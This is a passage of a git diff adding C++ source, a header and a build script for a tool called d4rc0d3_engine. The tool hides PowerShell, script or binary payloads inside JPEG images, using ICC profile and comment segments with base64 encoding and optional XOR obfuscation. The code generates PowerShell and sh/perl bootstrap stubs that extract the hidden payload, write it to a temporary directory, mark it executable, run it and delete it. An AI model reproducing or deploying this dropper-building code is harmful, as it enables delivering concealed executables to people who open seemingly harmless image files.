+            "$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
+            "{}"
+            "$_t=[IO.Path]::Combine({},"
+            "[IO.Path]::GetFileName($_p));"
+            "[IO.File]::WriteAllBytes($_t,$_d);"
+            "try{{"
+                "if($IsLinux-or$IsMacOS){{chmod +x $_t;{} $_t}}"
+                "else{{{} $_t}}"
+            "}}{};exit",
+            show, xor_decode, dir_expr, interpreter, interpreter, cleanup);
+
+        return marker + body;
+    }
+
+    [[nodiscard]] std::string buildBinaryBootstrap(
+        std::string_view target_ext,
+        const BootstrapOptions& opts,
+        std::span<const Byte> xor_key) {
+
+        const std::string dir_expr = psExtractDir(opts);
+        const std::string cleanup = opts.keep_extracted
+            ? ""
+            : "finally{Remove-Item $_t -EA 0}";
+        const std::string show = psShowPrefix(opts);
+
+        std::string xor_decode;
+        if (!xor_key.empty()) {
+            xor_decode = std::format(
+                "{};for($_j=0;$_j-lt$_d.Length;$_j++)"
+                "{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
+                psKeyDerivation());
+        }
+
+        std::string marker = std::format("\r\n#JPWS:{}:exec\r\n", target_ext);
+
+        std::string body = std::format(
+            "{}$_s=[IO.File]::ReadAllText($_p,"
+            "[Text.Encoding]::GetEncoding(28591));"
+            "$_i=$_s.IndexOf('#_:')+3;"
+            "$_d=[Convert]::FromBase64String("
+            "$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
+            "{}"
+            "$_t=[IO.Path]::Combine({},"
+            "[IO.Path]::GetFileName($_p));"
+            "[IO.File]::WriteAllBytes($_t,$_d);"
+            "try{{"
+                "if($IsLinux-or$IsMacOS){{chmod +x $_t}}"
+                "&$_t"
+            "}}{};exit",
+            show, xor_decode, dir_expr, cleanup);
+
+        return marker + body;
+    }
+
+    [[nodiscard]] std::string escapeForEval(std::string_view cmd) {
+        std::string result;
+        result.reserve(cmd.size());
+        for (char c : cmd) {
+            if (c == '\'') {
+                result += "'\\''";
+            } else {
+                result += c;
+            }
+        }
+        return result;
+    }
+}
+
+vBytes generateXorKey(std::size_t length) {
+    std::random_device rd;
+    vBytes key(length);
+    std::uniform_int_distribution<unsigned> dist(1, 255);
+    for (auto& b : key) {
+        b = static_cast<Byte>(dist(rd));
+    }
+    return key;
+}
+
+PayloadMode detectPayloadMode(const std::filesystem::path& payload_path) {
+    const std::string ext = toLowerExt(payload_path);
+
+    if (ext == ".ps1") {
+        return PayloadMode::DirectPwsh;
+    }
+
+    if (interpreterForExtension(ext) != std::string_view{}) {
+        return PayloadMode::Script;
+    }
+
+    if (isBinaryExtension(ext)) {
+        return PayloadMode::Binary;
+    }
+
+    return PayloadMode::Binary;
+}
+
+std::string payloadTargetExtension(const std::filesystem::path& payload_path) {
+    return toLowerExt(payload_path);
+}
+
+std::string_view interpreterForPath(const std::filesystem::path& payload_path) {
+    return interpreterForExtension(toLowerExt(payload_path));
+}
+
+vBytes generateBootstrap(
+    PayloadMode mode,
+    const vBytes& payload_bytes,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands,
+    const BootstrapOptions& opts,
+    std::span<const Byte> xor_key) {
+
+    std::string script;
+
+    switch (mode) {
+        case PayloadMode::DirectPwsh:
+            script.assign(reinterpret_cast<const char*>(payload_bytes.data()),
+                          payload_bytes.size());
+            break;
+
+        case PayloadMode::Script: {
+            const std::string ext = toLowerExt(payload_path);
+            const std::string_view interpreter = interpreterForExtension(ext);
+            if (interpreter.empty()) {
+                throw std::runtime_error(
+                    std::format("No interpreter mapping for extension \"{}\".", ext));
+            }
+            script = buildScriptBootstrap(interpreter, ext, opts, xor_key);
+            if (!inline_commands.empty()) {
+                script = std::string(inline_commands) + "\r\n" + script;
+            }
+            break;
+        }
+
+        case PayloadMode::Binary: {
+            const std::string ext = toLowerExt(payload_path);
+            script = buildBinaryBootstrap(ext, opts, xor_key);
+            if (!inline_commands.empty()) {
+                script = std::string(inline_commands) + "\r\n" + script;
+            }
+            break;
+        }
+
+        case PayloadMode::Command: {
+            const std::string show = psShowPrefix(opts);
+            script = show + std::string(inline_commands);
+            break;
+        }
+    }
+
+    if (script.empty()) {
+        throw std::runtime_error("Bootstrap generation produced empty script.");
+    }
+
+    if (!xor_key.empty()) {
+        std::string stub = wrapPsXorStub(script, xor_key);
+        return vBytes(reinterpret_cast<const Byte*>(stub.data()),
+                      reinterpret_cast<const Byte*>(stub.data() + stub.size()));
+    }
+
+    return vBytes(reinterpret_cast<const Byte*>(script.data()),
+                  reinterpret_cast<const Byte*>(script.data() + script.size()));
+}
+
+vBytes buildShellComSegment(
+    PayloadMode mode,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands,
+    const BootstrapOptions& opts,
+    std::span<const Byte> xor_key,
+    std::string* out_shell_post_eoi) {
+
+    const bool wrapped = !xor_key.empty();
+    const std::string_view self = wrapped ? "$1" : "$0";
+
+    const std::string shell_dir = opts.extract_dir.empty() ? "/tmp" : opts.extract_dir;
+    const std::string rm_line = opts.keep_extracted ? "" : ";rm -f \"$f\"";
+    const std::string show = shellShowPrefix(self, opts.sequential);
+
+    std::string xor_pipe;
+    if (!xor_key.empty()) {
+        xor_pipe = std::format(
+            "|perl -e '$/=undef;open F,\"<\",$ARGV[0]or die;binmode F;"
+            "seek F,0,0;$b=\"\";while(read F,$c,1){{if($c eq\"\\xff\")"
+            "{{read F,$n,1;if($n eq\"\\xe2\"){{seek F,{}-2,1;"
+            "read F,$k,{};last}}}}}}close F;"
+            "$d=<STDIN>;"
+            "my$_l=length($d);"
+            "for my$_i(0..$_l-1){{substr($d,$_i,1,chr(ord(substr($d,$_i,1))^ord(substr($k,$_i%length($k),1))))}}"
+            "print$d' -- \"{}\"",
+            ICC_KEY_OFFSET, XOR_KEY_LENGTH, self);
+    }
+
+    std::string shell_script;
+
+    constexpr std::string_view SHELL_EXIT = "wait 2>/dev/null";
+
+    switch (mode) {
+        case PayloadMode::DirectPwsh:
+            shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
+            break;
+
+        case PayloadMode::Command:
+            if (!inline_commands.empty()) {
+                shell_script = show + "eval '" + escapeForEval(inline_commands) + "' &\n" + std::string(SHELL_EXIT);
+            } else {
+                shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
+            }
+            break;
+
+        case PayloadMode::Script: {
+            const std::string ext = toLowerExt(payload_path);
+            const std::string_view interp = interpreterForExtension(ext);
+            if (interp.empty()) {
+                shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
+            } else {
+                std::string cmd_prefix;
+                if (!inline_commands.empty()) {
+                    cmd_prefix = std::string(inline_commands) + "\n";
+                }
+                shell_script = std::format(
+                    "{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
+                    "grep -am1 '^#_:' \"{}\"|"
+                    "sed 's/^#_://'|base64 -d{}>\"$f\"\n"
+                    "chmod +x \"$f\";{} \"$f\"{})&\n{}",
+                    show, cmd_prefix, shell_dir, self, self, xor_pipe, interp, rm_line, SHELL_EXIT);
+            }
+            break;
+        }
+
+        case PayloadMode::Binary: {
+            const std::string ext = toLowerExt(payload_path);
+            std::string cmd_prefix;
+            if (!inline_commands.empty()) {
+                cmd_prefix = std::string(inline_commands) + "\n";
+            }
+            shell_script = std::format(
+                "{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
+                "grep -am1 '^#_:' \"{}\"|"
+                "sed 's/^#_://'|base64 -d{}>\"$f\"\n"
+                "chmod +x \"$f\";\"$f\"{})&\n{}",
+                show, cmd_prefix, shell_dir, self, self, xor_pipe, rm_line, SHELL_EXIT);
+            break;
+        }
+    }
+
+    std::string com_script;
+    if (wrapped) {
+        vBytes shell_bytes(reinterpret_cast<const Byte*>(shell_script.data()),
+                           reinterpret_cast<const Byte*>(shell_script.data() + shell_script.size()));
+        std::string shell_b64 = base64Encode(shell_bytes);
+        std::string inner = "grep -am1 '^#0:' \"$1\"|cut -c4-|base64 -d|sh -s \"$1\"";
+        com_script = "(printf '" + formatOctalEscaped(inner) + "'|sh -s \"$0\");:";
+        if (out_shell_post_eoi) {
+            *out_shell_post_eoi = "#0:" + shell_b64;
+        }
+    } else {
+        com_script = shell_script;
+    }
+
+    std::string com_data = "\n" + com_script + "\n";
+
+    constexpr std::size_t MIN_COM_DATA = 255;
+    while (com_data.size() < MIN_COM_DATA) {
+        com_data += '#';
+    }
+
+    const auto data_len = com_data.size();
+    if (data_len + 2 > 0xFFFF) {
+        throw std::runtime_error("Internal Error: COM segment too large.");
+    }
+    auto com_length = static_cast<uint16_t>(data_len + 2);
+
+    if ((com_length & 0xFF) == 0) {
+        com_data += '#';
+        com_length = static_cast<uint16_t>(com_data.size() + 2);
+    }
+    if ((com_length >> 8) == 0) {
+        throw std::runtime_error("Internal Error: COM segment too small for NUL-free length.");
+    }
+
+    vBytes segment;
+    segment.reserve(4 + com_data.size());
+    segment.push_back(0xFF);
+    segment.push_back(0xFE);
+    segment.push_back(static_cast<Byte>(com_length >> 8));
+    segment.push_back(static_cast<Byte>(com_length & 0xFF));
+    segment.insert(segment.end(),
+                   reinterpret_cast<const Byte*>(com_data.data()),
+                   reinterpret_cast<const Byte*>(com_data.data() + com_data.size()));
+
+    return segment;
+}
+
+vBytes generatePostEoiPayload(const vBytes& payload_bytes, std::span<const Byte> xor_key, std::string_view shell_line) {
+    if (payload_bytes.empty() && shell_line.empty()) return {};
+
+    std::string data = "\n<#\n";
+
+    if (!shell_line.empty()) {
+        data += shell_line;
+        data += '\n';
+    }
+
+    if (!payload_bytes.empty()) {
+        vBytes to_encode;
+        if (!xor_key.empty()) {
+            to_encode = xorEncode(payload_bytes, xor_key);
+        } else {
+            to_encode = payload_bytes;
+        }
+        data += "#_:" + base64Encode(to_encode) + '\n';
+    }
+
+    data += "#>";
+
+    return vBytes(reinterpret_cast<const Byte*>(data.data()),
+                  reinterpret_cast<const Byte*>(data.data() + data.size()));
+}
diff --git a/src/bootstrap.h b/src/bootstrap.h
new file mode 100644
index 0000000..c5af869
--- /dev/null
+++ b/src/bootstrap.h
@@ -0,0 +1,54 @@
+#pragma once
+
+#include "common.h"
+
+#include <filesystem>
+#include <span>
+#include <string>
+#include <string_view>
+
+enum class PayloadMode : unsigned char {
+    DirectPwsh,
+    Script,
+    Binary,
+    Command
+};
+
+struct BootstrapOptions {
+    bool keep_extracted{false};
+    bool show_image{false};
+    bool sequential{false};
+    std::string extract_dir;
+};
+
+constexpr std::size_t ICC_KEY_OFFSET = 102;
+constexpr std::size_t XOR_KEY_LENGTH = 16;
+
+[[nodiscard]] vBytes generateXorKey(std::size_t length);
+
+[[nodiscard]] PayloadMode detectPayloadMode(const std::filesystem::path& payload_path);
+
+[[nodiscard]] std::string payloadTargetExtension(const std::filesystem::path& payload_path);
+
+[[nodiscard]] std::string_view interpreterForPath(const std::filesystem::path& payload_path);
+
+[[nodiscard]] vBytes generateBootstrap(
+    PayloadMode mode,
+    const vBytes& payload_bytes,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands = "",
+    const BootstrapOptions& opts = {},
+    std::span<const Byte> xor_key = {});
+
+[[nodiscard]] vBytes generatePostEoiPayload(
+    const vBytes& payload_bytes,
+    std::span<const Byte> xor_key = {},
+    std::string_view shell_line = "");
+
+[[nodiscard]] vBytes buildShellComSegment(
+    PayloadMode mode,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands = "",
+    const BootstrapOptions& opts = {},
+    std::span<const Byte> xor_key = {},
+    std::string* out_shell_post_eoi = nullptr);
diff --git a/src/build.sh b/src/build.sh
new file mode 100644
index 0000000..046cfbd
--- /dev/null
+++ b/src/build.sh
@@ -0,0 +1,60 @@
+#!/bin/bash
+# build.sh — Compile d4rc0d3_engine from source
+# Supports: Linux arm64, Linux x86_64, macOS (Intel/Apple Silicon)
+#
+# Dependencies:
+#   Debian/Ubuntu:  apt-get install -y g++ libturbojpeg0-dev libjpeg-dev
+#   RHEL/Fedora:    dnf install -y gcc-c++ turbojpeg-devel libjpeg-turbo-devel
+#   macOS:          brew install jpeg-turbo libjpeg
+#   Alpine:         apk add g++ libjpeg-turbo-dev
+
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+OUT="${1:-$SCRIPT_DIR/../d4rc0d3_engine}"
+OS="$(uname -s)"
+ARCH="$(uname -m)"
+
+echo "[*] Building d4rc0d3_engine for ${OS}/${ARCH}..."
+echo "[*] Output: ${OUT}"
+
+FLAGS=(-std=c++23 -O3 -Wall -Wextra -DNDEBUG -fPIE)
+LINK=()
+
+case "$OS" in
+    Linux)
+        FLAGS+=(
+            -Wformat-security -fstack-protector-strong
+            -D_FORTIFY_SOURCE=2 -D_GLIBCXX_ASSERTIONS
+            -s -flto=auto
+        )
+        # -fcf-protection is x86-only
+        if [[ "$ARCH" == "x86_64" ]]; then
+            FLAGS+=(-fcf-protection=full)
+        fi
+        LINK+=(-pie -Wl,-z,relro,-z,now,-z,noexecstack)
+        ;;
+    Darwin)
+        FLAGS+=(-flto=auto -Wno-c99-extensions)
+        # Homebrew paths
+        if [[ -d /opt/homebrew/include ]]; then
+            FLAGS+=(-I/opt/homebrew/include)
+            LINK+=(-L/opt/homebrew/lib)
+        elif [[ -d /usr/local/include ]]; then
+            FLAGS+=(-I/usr/local/include)
+            LINK+=(-L/usr/local/lib)
+        fi
+        ;;
+esac
+
+cd "$SCRIPT_DIR"
+
+g++ "${FLAGS[@]}" \
+    args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
+    jpeg_warning_check.cpp d4rc0d3_core.cpp \
+    -lturbojpeg -ljpeg \
+    "${LINK[@]}" \
+    -o "$OUT"
+
+echo "[+] Build successful: $OUT ($(du -h "$OUT" | cut -f1))"
+echo "[+] Architecture: $(readelf -h "$OUT" 2>/dev/null | grep Machine | awk '{print $2}' || file "$OUT" | grep -oE 'arm64|x86_64|x86')"
diff --git a/src/common.h b/src/common.h
new file mode 100644
index 0000000..6e3b782
--- /dev/null
+++ b/src/common.h
@@ -0,0 +1,57 @@
+#pragma once
+
+// ---------------------------------------------------------------------------
+// Toolchain floor. d4rc0d3 is distributed as source and built by each user, so
+// fail early with a clear message rather than a wall of template errors when
+// the compiler is too old. The floor is set by std::print / std::format
+// (and other C++23 library features used throughout).
+// ---------------------------------------------------------------------------
+#if defined(__GNUC__) && !defined(__clang__) && __GNUC__ < 14
+#  error "d4rc0d3 requires GCC >= 14 (for std::print/std::format). Please upgrade your compiler."
+#elif defined(__clang__) && __clang_major__ < 18
+#  error "d4rc0d3 requires Clang >= 18 with a C++23 standard library (libc++ 18+ or libstdc++ 14+). Please upgrade your compiler."
+#endif
+
+#include <cstdint>
+#include <unistd.h>
+#include <vector>
+
+using Byte   = std::uint8_t;
+using vBytes = std::vector<Byte>;
+
+class UniqueFd {
+public:
+    explicit UniqueFd(int fd = -1) noexcept : fd_(fd) {}
+
+    ~UniqueFd() { reset(); }
+
+    UniqueFd(const UniqueFd&) = delete;
+    UniqueFd& operator=(const UniqueFd&) = delete;
+
+    UniqueFd(UniqueFd&& other) noexcept : fd_(other.release()) {}
+
+    UniqueFd& operator=(UniqueFd&& other) noexcept {
+        if (this != &other) {
+            reset(other.release());
+        }
+        return *this;
+    }
+
+    [[nodiscard]] int get() const noexcept { return fd_; }
+
+    [[nodiscard]] int release() noexcept {
+        const int released_fd = fd_;
+        fd_ = -1;
+        return released_fd;
+    }
+
+    void reset(int new_fd = -1) noexcept {
+        if (fd_ >= 0) {
+            ::close(fd_);
+        }
+        fd_ = new_fd;
+    }
+
+private:
+    int fd_;
+};
diff --git a/src/d4rc0d3_core.cpp b/src/d4rc0d3_core.cpp
new file mode 100644
index 0000000..88df563
--- /dev/null
+++ b/src/d4rc0d3_core.cpp
@@ -0,0 +1,740 @@
+#include "common.h"
+#include "args.h"
+#include "bootstrap.h"
+#include "file_utils.h"
+#include "jpeg_process.h"
+#include "jpeg_warning_check.h"
+#include <algorithm>
+#include <fstream>
+#include <filesystem>
+#include <array>
+#include <cerrno>
+#include <cstddef>
+#include <exception>
+#include <fcntl.h>
+#include <format>
+#include <iostream>
+#include <limits>
+#include <optional>
+#include <print>
+#include <random>
+#include <span>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+#include <system_error>
+
+namespace {
+    constexpr std::size_t JFIF_SIG_LENGTH = 20;          // SOI(2) + APP0 marker(2) + length(2) + data(14)
+    constexpr std::size_t JFIF_COMMENT_BLOCK_INDEX = 0x0C; // offset in image bytes to patch with XTW\n<#
+
+    constexpr std::size_t SEGMENT_SIZE_FIELD_INDEX = 0x16;
+    constexpr std::size_t PROFILE_SIZE_FIELD_INDEX = 0x26;
+    constexpr std::size_t PWSH_INSERT_INDEX = 6;
+
+    constexpr std::size_t MAX_PROFILE_SEGMENT = 65535;
+
+    [[nodiscard]] std::size_t checkedAdd(std::size_t lhs, std::size_t rhs, std::string_view context) {
+        if (lhs > std::numeric_limits<std::size_t>::max() - rhs) {
+            throw std::runtime_error(std::format("{} size overflow.", context));
+        }
+        return lhs + rhs;
+    }
+
+    [[nodiscard]] std::size_t checkedSub(std::size_t lhs, std::size_t rhs, std::string_view context) {
+        if (lhs < rhs) {
+            throw std::runtime_error(std::format("{} size underflow.", context));
+        }
+        return lhs - rhs;
+    }
+
+    void writeBigEndian(vBytes& vec, std::size_t index, std::size_t value, std::size_t bytes) {
+        if (bytes == 0 || bytes > sizeof(std::size_t)) {
+            throw std::runtime_error("writeBigEndian: invalid byte count.");
+        }
+        if (index > vec.size() || bytes > vec.size() - index) {
+            throw std::runtime_error("writeBigEndian: index out of bounds.");
+        }
+        if (bytes < sizeof(std::size_t) && value >= (std::size_t{1} << (bytes * 8))) {
+            throw std::runtime_error("writeBigEndian: value exceeds range for requested byte width.");
+        }
+
+        constexpr std::size_t BITS_PER_BYTE = 8;
+        for (std::size_t byte_index = 0; byte_index < bytes; ++byte_index) {
+            const std::size_t shift = (bytes - byte_index - 1) * BITS_PER_BYTE;
+            vec[index + byte_index] = static_cast<Byte>((value >> shift) & 0xFF);
+        }
+    }
+
+    constexpr auto ICC_PROFILE_TEMPLATE = std::to_array<Byte>({
+        0xFF, 0xE2, 0x00, 0x00, 0x49, 0x43, 0x43, 0x5F, 0x50, 0x52, 0x4F, 0x46, 0x49, 0x4C, 0x45, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x63, 0x6D, 0x73,
+        0x02, 0x10, 0x00, 0x00, 0x6D, 0x6E, 0x74, 0x72, 0x52, 0x47, 0x42, 0x20, 0x58, 0x59, 0x5A, 0x20, 0x07, 0xE2, 0x00, 0x03, 0x00, 0x14, 0x00, 0x09, 0x00, 0x0E,
+        0x00, 0x1D, 0x61, 0x63, 0x73, 0x70, 0x4D, 0x53, 0x46, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x2D, 0x6C, 0x63, 0x6D, 0x73, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x64, 0x65, 0x73, 0x63, 0x00, 0x00,
+        0x00, 0xF0, 0x00, 0x00, 0x00, 0x1C, 0x77, 0x74, 0x70, 0x74, 0x00, 0x00, 0x01, 0x0C, 0x00, 0x00, 0x00, 0x14, 0x72, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x20,
+        0x00, 0x00, 0x00, 0x14, 0x67, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x34, 0x00, 0x00, 0x00, 0x14, 0x62, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x48, 0x00, 0x00,
+        0x00, 0x14, 0x72, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x67, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34,
+        0x62, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x63, 0x70, 0x72, 0x74, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x00, 0x01, 0x64, 0x65,
+        0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x73, 0x52, 0x47, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0x54, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x16, 0xC9, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x6F, 0xA0, 0x00, 0x00, 0x38, 0xF2, 0x00, 0x00, 0x03, 0x8F, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x96,
+        0x00, 0x00, 0xB7, 0x89, 0x00, 0x00, 0x18, 0xDA, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xA0, 0x00, 0x00, 0x0F, 0x85, 0x00, 0x00,
+        0xB6, 0xC4, 0x63, 0x75, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x01, 0x07, 0x02, 0xB5, 0x05, 0x6B, 0x09, 0x36, 0x0E, 0x50,
+        0x14, 0xB1, 0x1C, 0x80, 0x25, 0xC8, 0x30, 0xA1, 0x3D, 0x19, 0x4B, 0x40, 0x5B, 0x27, 0x6C, 0xDB, 0x80, 0x6B, 0x95, 0xE3, 0xAD, 0x50, 0xC6, 0xC2, 0xE2, 0x31,
+        0xFF, 0xFF, 0x23, 0x3E, 0x0D, 0x0A, 0x3C, 0x23, 0x0D, 0x0A
+    });
+
+    [[nodiscard]] std::string randomOutputSuffix(std::random_device& rd) {
+        constexpr std::uint64_t OUTPUT_SUFFIX_MASK = (std::uint64_t{1} << 52) - 1;
+        std::uniform_int_distribution<std::uint64_t> dist(0, OUTPUT_SUFFIX_MASK);
+        return std::format("{:013x}", dist(rd));
+    }
+
+    void unlinkOutputFileBestEffort(const std::string& output_filename) noexcept {
+        constexpr int MAX_UNLINK_RETRIES = 16;
+        for (int attempt = 0; attempt < MAX_UNLINK_RETRIES; ++attempt) {
+            if (::unlink(output_filename.c_str()) == 0 || errno != EINTR) {
+                return;
+            }
+        }
+    }
+
+    [[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view message) {
+        unlinkOutputFileBestEffort(output_filename);
+        throw std::runtime_error(std::string(message));
+    }
+
+    [[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view prefix, int error_code) {
+        unlinkOutputFileBestEffort(output_filename);
+        throw std::runtime_error(std::format("{}: {}", prefix, std::system_category().message(error_code)));
+    }
+
+    void writeOutputBytes(const std::string& output_filename, int fd, std::span<const Byte> bytes) {
+        while (!bytes.empty()) {
+            const auto chunk_size = std::min<std::size_t>(bytes.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
+            const auto bytes_written = ::write(fd, bytes.data(), chunk_size);
+
+            if (bytes_written > 0) {
+                bytes = bytes.subspan(static_cast<std::size_t>(bytes_written));
+                continue;
+            }
+            if (bytes_written == 0) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to write complete output file.");
+            }
+            if (errno != EINTR) {
+                unlinkAndThrow(output_filename, "Write Error: Failed to write output file", errno);
+            }
+        }
+    }
+
+    [[nodiscard]] bool startsWith(std::span<const Byte> bytes, std::span<const Byte> prefix) {
+        return bytes.size() >= prefix.size() &&
+            std::ranges::equal(bytes.first(prefix.size()), prefix);
+    }
+
+    void rejectUnsupportedTextEncoding(std::span<const Byte> bytes) {
+        constexpr auto UTF32_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE, 0x00, 0x00 });
+        constexpr auto UTF32_BE_BOM = std::to_array<Byte>({ 0x00, 0x00, 0xFE, 0xFF });
+        constexpr auto UTF16_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE });
+        constexpr auto UTF16_BE_BOM = std::to_array<Byte>({ 0xFE, 0xFF });
+
+        const std::span<const Byte> view(bytes);
+        if (startsWith(view, UTF32_LE_BOM) || startsWith(view, UTF32_BE_BOM)) {
+            throw std::runtime_error(
+                "Script File Error: Script is UTF-32 encoded. "
+                "Re-save the script as UTF-8 (with or without BOM).");
+        }
+        if (startsWith(view, UTF16_LE_BOM) || startsWith(view, UTF16_BE_BOM)) {
+            throw std::runtime_error(
+                "Script File Error: Script is UTF-16 encoded. "
+                "Re-save the script as UTF-8 (with or without BOM).");
+        }
+    }
+
+    void stripUtf8Bom(vBytes& bytes) {
+        constexpr auto BOM_SIG = std::to_array<Byte>({ 0xEF, 0xBB, 0xBF });
+
+        if (bytes.size() >= BOM_SIG.size() &&
+            std::ranges::equal(std::span<const Byte>(bytes).first(BOM_SIG.size()), BOM_SIG)) {
+            bytes.erase(bytes.begin(), bytes.begin() + static_cast<std::ptrdiff_t>(BOM_SIG.size()));
+        }
+    }
+
+    struct ProfileSizes {
+        std::size_t segment_size = 0;
+        std::size_t profile_size = 0;
+    };
+
+    [[nodiscard]] ProfileSizes calculateProfileSizes(std::size_t profile_byte_count) {
+        const std::size_t segment_size = checkedSub(
+            checkedAdd(profile_byte_count, JFIF_SIG_LENGTH, "Profile segment"),
+            SEGMENT_SIZE_FIELD_INDEX,
+            "Profile segment");
+
+        return ProfileSizes{
+            .segment_size = segment_size,
+            .profile_size = checkedSub(segment_size, 16, "ICC profile")
+        };
+    }
+
+    void validateProfileSizes(const ProfileSizes& sizes, std::size_t max_segment_size) {
+        if (sizes.segment_size > max_segment_size) {
+            throw std::runtime_error(std::format(
+                "Segment Size Error: The profile segment (FFE2) exceeds the maximum size limit of {}KB.",
+                max_segment_size / 1024));
+        }
+
+        if (sizes.segment_size > std::numeric_limits<uint16_t>::max()) {
+            throw std::runtime_error("Segment Size Error: Segment size exceeds 16-bit field capacity.");
+        }
+    }
+
+    [[nodiscard]] vBytes buildProfilePayload(std::span<const Byte> script_bytes, std::size_t max_segment_size, std::span<const Byte> xor_key = {}) {
+        constexpr std::size_t MIN_SCRIPT_PAYLOAD_SIZE = 4;
+        if (script_bytes.size() < MIN_SCRIPT_PAYLOAD_SIZE) {
+            throw std::runtime_error("Payload Error: Generated script is below minimum size.");
+        }
+
+        static_assert(ICC_PROFILE_TEMPLATE.size() >= PWSH_INSERT_INDEX);
+        static_assert(ICC_PROFILE_TEMPLATE.size() > ICC_KEY_OFFSET + XOR_KEY_LENGTH);
+
+        vBytes profile_vec(ICC_PROFILE_TEMPLATE.begin(), ICC_PROFILE_TEMPLATE.end());
+
+        if (!xor_key.empty()) {
+            std::ranges::copy(xor_key.first(XOR_KEY_LENGTH),
+                              profile_vec.begin() + ICC_KEY_OFFSET);
+        }
+
+        profile_vec.reserve(checkedAdd(profile_vec.size(), script_bytes.size(), "ICC profile"));
+        profile_vec.insert(profile_vec.end() - PWSH_INSERT_INDEX, script_bytes.begin(), script_bytes.end());
+
+        const ProfileSizes sizes = calculateProfileSizes(profile_vec.size());
+        validateProfileSizes(sizes, max_segment_size);
+
+        constexpr std::size_t PROFILE_SEGMENT_SIZE_FIELD = SEGMENT_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
+        constexpr std::size_t PROFILE_PROFILE_SIZE_FIELD = PROFILE_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
+        writeBigEndian(profile_vec, PROFILE_SEGMENT_SIZE_FIELD, sizes.segment_size, 2);
+        writeBigEndian(profile_vec, PROFILE_PROFILE_SIZE_FIELD, sizes.profile_size, 4);
+
+        return profile_vec;
+    }
+
+    [[nodiscard]] constexpr auto makeDefaultTailBytes() {
+        return std::to_array<Byte>({
+            0x9e, 0x23, 0x3e, 0x0d, 0x23, 0x00, 0x00, 0x20, 0x20, 0x00
+        });
+    }
+
+    [[nodiscard]] constexpr auto makeAltTailBytes() {
+        return std::to_array<Byte>({
+            0x00, 0x20, 0x20, 0x00, 0x00, 0x23, 0x3E, 0x0D, 0x23, 0x9e
+        });
+    }
+
+    void patchImageTail(vBytes& image_file_vec, Option option) {
+        constexpr auto DEFAULT_BYTES = makeDefaultTailBytes();
+        constexpr auto ALT_BYTES = makeAltTailBytes();
+
+        constexpr std::size_t TAIL_OFFSET = 2;
+
+        const std::span<const Byte> tail_bytes = [&] {
+            switch (option) {
+                case Option::Alt:
+                    return std::span<const Byte>(ALT_BYTES);
+                case Option::None:
+                    return std::span<const Byte>(DEFAULT_BYTES);
+            }
+            throw std::runtime_error("Internal Error: Unknown tail patch option.");
+        }();
+
+        if (image_file_vec.size() < JFIF_SIG_LENGTH ||
+            image_file_vec.size() < tail_bytes.size() + TAIL_OFFSET) {
